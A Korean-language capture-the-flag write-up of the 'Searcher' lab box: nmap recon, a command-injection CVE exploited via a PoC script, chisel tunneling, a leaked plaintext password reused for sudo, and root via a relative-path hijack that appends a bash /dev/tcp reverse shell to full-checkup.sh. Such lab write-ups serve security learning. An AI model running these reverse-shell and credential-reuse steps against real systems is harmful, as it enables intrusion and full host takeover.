Reconnaissance
nmap -sV -p 1-10000 10.129.228.217
- Searcher라는 서비스가 돌고있었다. 잠깐봐도 검색 엔진과 검색어를 정하면 바로 검색 URL쿼리를 생성해주고, 옵션을 체크하면 redirect까지도 바로 해주는 서비스였다.
- HTTP 요청들이 어떻게 오고가고있나 먼저 burp로 봐주었다.
- 근데 보자마자 github 주소와 버전정보가 있길래 검색해보니 바로 명령어 삽입 CVE가 존재하였다.
Exploitation
rlwrap nc -lvnp 9001
./exploit.sh http://searcher.htb 10.10.15.88 9001
- poc를 활용해 수월하게 svc유저의 쉘을 획득할 수 있었다.
Privilege Escalation
python3 -c 'import pty; pty.spawn("/bin/bash")'
- 먼저 sudo -l 시도를 위해 full tty로 변경한후에 시도했더니 비밀번호를 필요로 하였다.
ss -tln
- 여기저기 열심히 찾아보다가 내부망에 어떤 서버들이 돌아가는지 체크해보았다.
- 웹 서비스로 추정되는 3000, 5000과 mysql일거같은 3306이 눈에 띄었다.
- 브라우저로 내부 웹서비스에 접속하기 위해 chisel로 터널링을 수행하였다.
chisel server -p 10000 -reverse
chisel client 10.129.228.217:10000 R:socks
- localhost:3000주소에 내부망에서 돌고있는 gitea를 확인했다.
- gitea 1.18.0 버전이 설치되어있었는데 권한상승에 활용할만한 CVE는 딱히 없었다.
- users에 administrator와 cody라는 유저가 존재하고, 로그인하지 않은 상태에서는 다른 정보를 알 수 가 없었다.
- /var/www/app/.git 경로 config 파일에서 cody의 크리덴셜을 발견하였다!
- ( cody / jh1usoih2bkjaspwe92 )
- 하지만 내부에는 이미 봤던 sercher 서비스의 repository만 존재했다.
- sudo의 비밀번호로 같은 값을 사용해봤는데 같은 비밀번호를 사용하고 있었다!
- 일단 sudo로 system-checkup.py를 실행해봤는데 안되길래 아무 옵션을 붙여서 넣어주니 Usage와 함께 잘 실행이 되었다.
- full-checkup과 docker-ps는 옵션으로 넣어주니 잘 돌아갔지만 docker-inspect 옵션은 format과 conrainer_name 인자를 필요로 했다.
- format엔 대충 json, txt 등등을 넣어봤는데 안돼서 구글링을 해보았다.
- 이런식으로 docker 공식 사이트에 잘 정리되어 있었다.
- docker-inspect는 기본적으로 docker low level의 정보들을 json 형태로 제공하는 옵션이었다.
sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' mysql_db
- {{json .Config format}}을 넣어주니 mysql의 root password와 gitea의 db 연결정보를 얻었다.
- db를 먼저 접속해서 살펴봤는데 딱히 건질게 없었다.
- 앞서 얻어낸 크리덴셜중 gitea의 비밀번호를 administrator의 비밀번호로 입력하니 로그인에 성공하였다!
- 앞에서는 확인할 수 없었던 scripts의 코드들을 모두 볼 수 있었다.
- 먼저 docker-inspect action만 사용자 입력을 받아서 run_command() 함수에 넘겨 실행하기에 command injection이 의심되었지만 subprocess.run()은 이러한 공격을 막아내기에 이 방법은 아니었다.
- 또 이상한 부분이 하나 있는데 바로
arg_list = ['./full-checkup.sh'] 이부분이다, 이처럼 상대경로로 실행해버리면 현재 폴더부터 찾게되는 특징을 활용해서 내가 원하는 스크립트를 사용하게 할 수 있다.
echo 'bash -c "bash -i >& /dev/tcp/10.10.15.88/9002 0>&1"' >> full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
- 역시 /tmp에서 생성한 뒤에 바로 sudo로 system-checkup.py를 full-checkup 옵션과 함께 실행하니 현재 경로인 /tmp부터 찾아서 실행되어 root로의 리버스셸이 연결되었다
